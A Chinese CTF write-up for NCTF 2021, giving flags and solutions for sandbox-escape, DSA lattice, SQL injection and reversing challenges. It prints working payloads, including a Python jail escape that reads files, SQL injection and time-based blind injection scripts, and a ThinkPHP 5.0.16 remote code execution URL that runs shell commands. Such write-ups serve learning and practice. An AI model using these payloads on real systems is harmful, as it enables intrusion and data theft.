- 比赛时间:2021.11.27 9:00-2021.11.28 21:00
- 比赛区分校内校外,比赛结束后结算分别排名,比赛时排行榜不区分
- 注册队伍登陆后,请在Profile页面绑定队伍成员信息
- 每支队伍至少绑定一个成员,不超过4人,校内队伍所有成员请填写真实姓名和正确学号,校外队伍至少绑定一个成员,以便颁奖时联系。
- 未绑定成员信息的队伍可以正常解题但不参与排名
- 成员信息一经绑定不可更改
- 禁止对平台进行攻击
- 禁止与其他队伍交流解题思路
- 请在比赛结束后12小时内发送详细解题思路(pdf格式)到邮箱nctf@h4ck.fun
Rank: 10
MISC
Signin
find it
签到,https://nctf.h4ck.fun/challenges/NCTF%7BWelcome_to_NCTF_2021!%7D
,链接就有flag:NCTF{Welcome_to_NCTF_2021!}
。
Hex酱的秘密花园
我们可爱的Hex酱又有了一个强大的功能,可以去执行多行语句惹~
但是为了防止有些居心叵测的人,我们专门 把括号,单双引号,都过滤掉,噢对不准色色,所以也不准出现h哟~
Ubuntu Python3.6.9
快去找Hex酱(QQ:2821876761)私聊吧
私聊发送的信息为明文,不需要加base64
1
2
3
4
5
6
7
8
9
10
11
12
13
14 import sys
from base64 import b64decode
code = sys.argv[1]
try:
data = b64decode(code.encode()).decode()
except:
exit(0)
for c in 'h"\'(':
if c in data: exit(0)
exec(data)
挺有趣的结合了QQBot的python逃逸,由代码知需传入python代码段,不能包含括号、单双引号和字母h,最后exec
函数执行。
断掉了 print()
和 help()
输出方式,可以采用python中的语法糖 @
类装饰器,在创建类时触发装饰器中的代码逻辑:
1 | x=95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,104,111,109,101,47,102,108,97,103,39,41,46,114,101,97,100,40,41 |
Bot返回flag:NCTF{HexQBot_1s_s0_cut3~}
。
做题做累了来玩玩游戏吧
做了一天的题目,都累了吧,快来玩玩我新写的飞机大战吧,只要通关就能获得flag哟~
对了,如果你真的想玩游戏,也许你需要一个mac,Intel和Apple silicon芯片都支持
Unity3D 游戏,主逻辑都在 Assembly-CSarp.dll
中,找到文件:
PlaneFire.app/Contents/Resources/Data/Managed/Assembly-CSharp.dll
用ILSpy查看dll程序逻辑,发现最终通过访问 http://h4ck.fun/g4me.txt
获取flag:NCTF{B9F3C1F2-1E65-481C-8AF3-A78FA7A5EB6A}
。
问卷题
问卷链接:https://forms.gle/RcKhJo2uQwQrL4Gu9
提示:是Google问卷
签退,答完就有flag:NCTF{Thank_y0u_for_your_participation}
。
CRYPTO
dsa
flag格式nctf{.*},题目见附件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40 from Crypto.Util.number import *
from secret import flag
from hashlib import sha256
import os
def keygen():
while True:
p = getPrime(522)
q = p//2
if isPrime(q):
break
g = 3
h = long_to_bytes(getPrime(256))
x = int.from_bytes(h*2, "big")
y = pow(g, x, p)
return g, p, q, y, x
def sign(h, x):
k = sha256(h.encode().hex().encode()).digest()+sha256(bytes.fromhex(h)+x.to_bytes(128, "big")).digest()
k = int.from_bytes(k, "big")
r = pow(g,k,p)
s = (r*x+int(h,16))*inverse(k,q)%q
return r, s
g, p, q, y, x = keygen()
flag = int(flag[5:-1],16)^int(sha256(x.to_bytes(128, "big")).hexdigest(),16)
r, s = sign(hex(flag)[2:], x)
print(q)
print(y)
print(flag)
print(r)
print(s)
'''
4065074330205980877463463424406813850154275302695361748314870346411329051948044450952905063182483477758495116696164996888846308775044737816809015524088898203
7743982251072012463264403932580827621959049035277930304818871889119878506480333248188293037455476433705911511645160292331990658781048396135284434991466243636
19480592192543881131267167328019941277106895469291691207381812905033306766991
962433004607153392099715322793248884218264181538005666659905851247468102959956625098831516046715446615198437005036117685792905736788216987378584513020215442
1861254747644911591100925843087118347161726578606012243057783788330822542299254180561801871884967022902307837045926190782819951409650425825871898890839825777
'''
DSA签名算法,将明文 $m$ 与私钥 $x$ 哈希值 $h(x)$ 的异或值 $H=m \oplus h(x)$ 传入sign()
函数,并将 $H$ 与 $h(H+x)$ 连接得到的 $k$ 作为临时密钥,计算 $r=g^k \bmod p$ 和 $s=(rx+H)k^{-1} \bmod q$,给出签名结果 $(r,s)$,求私钥 $x$。
已知 $g,q,p=2q+1,y,H,r,s$,$x$ 为512位,根据 x = int.from_bytes(h*2, "big")
可知 $x \mid (2^{256}+1)$,设 $x=(2^{256}+1)d’$,则 $d’$ 也是256位。
$k$ 由 $H$ 与 $h(H+x)$ 连接得到,$H$ 已知,即 $k$ 的高256位已知,低256位未知,设 $k=2^{256}H+h’$。
根据 $s=(rx+H)k^{-1} \bmod q$,有:
$(2^{256}H+h’)s-(2^{256}+1)d’r-H \equiv 0 \pmod q$
利用coppersmith定理构造格,通过LLL算法计算 $(h’,d’)$,这里采用small_roots脚本攻击:
1 | # Sage |
加上外壳,flag:nctf{1d92dae504a70fbcae6d3721a55d7eacaf94d3133ea5f0394b7d203d64841110}
。
WEB
ezsql
这还能注入吗
Hint 1: 另一半flag在数据库中
www.zip
中三个文件 config.php
、DB.php
、login.php
。
login.php
中主逻辑:
1 |
|
使用 db::prepare
预处理sql语句。
跟进 DB.php
看 prepare()
函数的定义:
1 | public static function prepare($query, $args){ |
(3)处 prepare()
函数接收的 $args
为数组,(4)处 判断接收参数数量和 %s
数量是否一致,(5)处转义特殊字符,(6)处给 %s
匹配的参数值加单引号,(7)处替换 $query
中对应的 %s
为参数值。
在(1)的password和(2)的name处都使用了格式化字符串 %s
,可以在(1)处传入 %s
干扰匹配,并在(2)处传入数组匹配两处 %s
:
password=%s
,name[0]=) or 1=1 --
,name[1]=x
sql语句由 SELECT * FROM `users` where password=md5(%s) and name=%s limit 1
变为 SELECT * FROM `users` where password=md5() or 1=1 -- ) and name=x limit 1
,实现注入。
POST传参读到前半部分flag:NCTF{3v3ryth1ng_
。
把 or 1=1
替换为布尔盲注if语句即可拿到后半部分flag:
1 | import requests |
合并,flag:NCTF{3v3ryth1ng_not_fantast1c_:)}
摆就完事了
啊对对对 太对辣太对辣
If you get no idea about the problem,there is no harm in diffing the source code with the official one.
观察url结构 /public/index.php/index/index/index
,疑似ThinkPHP路径,随便改写报错知为ThinkPHP V5.0.16。
尝试未开启强制路由RCE漏洞,加后缀:
http://129.211.173.64:8085/public/index.php/index/index/index?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
出现phpinfo页,改成 <?php%20system("cat /flag");?>
拿到flag:nctf{m1saka_wanna_kaibai}
。
摆就完事了2.0
卷起来 不准摆!
版本同上,改了逻辑,未开启强制路由RCE漏洞无效。
www.zip
下载源码,发现控制器 applicaion/index/controller/M1sakaM1yuu.php
:
1 |
|
按照ThinkPHP控制器语法,GET方式传入 username
参数值(本地部署,开启debug调试功能测试):
http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username=xxx
正常回显 啊对对对
。
后续控制 username
参数值,绕过waf,实现insert注入:
http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=if((substr((select("admin")),16,1)="n"),sleep(3),0)
替换为时间盲注:
1 | import requests |
得到flag:nctf{m1saka_wanna_marry_liyuu_}
。
REVERSE
Hello せかい
欢迎来到NCTF-逆向工程(Reverse Engineering)
这里可能有你需要的工具:
ida pro 7.6 :链接:https://pan.baidu.com/s/1bV2HjBBX0bwwtzORqhErOg 提取码:o49x
IDA打开,查找字符串,发现flag:NCTF{We1come_2_Reverse_Engineering}
。